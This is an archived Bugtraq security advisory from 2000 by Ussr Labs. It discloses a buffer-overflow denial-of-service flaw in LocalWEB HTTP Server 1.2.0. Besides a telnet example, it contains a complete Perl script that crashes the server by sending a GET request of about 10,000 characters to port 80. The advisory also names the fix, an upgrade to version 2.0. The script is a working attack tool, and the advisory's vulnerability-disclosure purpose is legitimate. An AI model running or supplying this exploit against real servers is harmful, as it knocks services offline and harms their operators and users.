From labs@USSRBACK.COM Wed Aug 2 02:57:02 2000 From: Ussr Labs To: BUGTRAQ@SECURITYFOCUS.COM Date: Tue, 4 Jul 2000 10:08:04 -0300 Subject: Remote DoS Attack in LocalWEB HTTP Server 1.2.0 Vulnerability [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Remote DoS Attack in LocalWEB HTTP Server 1.2.0 Vulnerability "THE KING IS COMING" USSR Advisory Code: USSR-2000048 Release Date: July 4, 2000 Systems Affected: LocalWEB HTTP Server 1.2.0 THE PROBLEM The Ussr Labs team has recently discovered a buffer overflow memory problem in the LocalWEB HTTP Server. What happens is by performing an attack with a malformed URL request to port 80 it will cause the process containing the services to stop responding. SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only. Example: The http Server (Port 80) service has an overflow in the GET command [hellme@die-communitech.net$ telnet example.com 80 Trying example.com... Connected to example.com. Escape character is '^]'. GET /[buffer] Where [buffer] is approx. 10000 characters, and the process containg the service crashes Code in Perl: - -------------------------Start File---------------------- #!/usr/bin/perl # # ./$0.pl -s # # Malformed GET URL request DoS # use Getopt::Std; use Socket; getopts('s:', \%args); if(!defined($args{s})){&usage;} my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto); $foo = "A"; # this is the NOP $number = "10000"; # this is the total number of NOP $data .= $foo x $number; # result of $foo times $number $serv = $args{s}; # remote server $port = 80; # remote port, default is 80 $buf = "GET /$data HTTP/1.0\r\n\r\n"; # issue this response to the server $in_addr = (gethostbyname($serv))[4] || die("Error: $!\n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n"); socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf"; print("Data has been successfully sent to $serv\n"); sub usage {die("\n\n$0 -s \n\n");} - -------------------------End File---------------------- Vendor Status: Informed!, Contacted Fix: Upgrade to 2.0 here: http://www.west-street.co.uk/download.htm Vendor Url: http://www.west-street.co.uk/ Program Url: http://www.west-street.co.uk/localweb.htm Related Links: Underground Security Systems Research: http://www.ussrback.com CrunchSp Product: http://www.crunchsp.com Greetings: Attrition, w00w00, beavuh, Rhino9, Synnergy.net, SecurityFocus.com, ADM, HNC, #Synnergy (efnet),#hackphreak (efnet), Technotronic, RFP and Wiretrip. Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission. Disclaimer: The information within this paper may change without notice. We may not be held responsible for the use and/or potential effects of these programs or advisories, use them and read them at your own risk or not at all. You solely are responsible for this judgement. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs@ussrback.com http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use iQA/AwUBOWHhVq3JcbWNj6DDEQKuqwCeKKLbGKZ8jFXA0QXbCkbumjh+V90AoP0N NUx2BT3Vb/XeID3YbPQbQym+ =UrrE -----END PGP SIGNATURE-----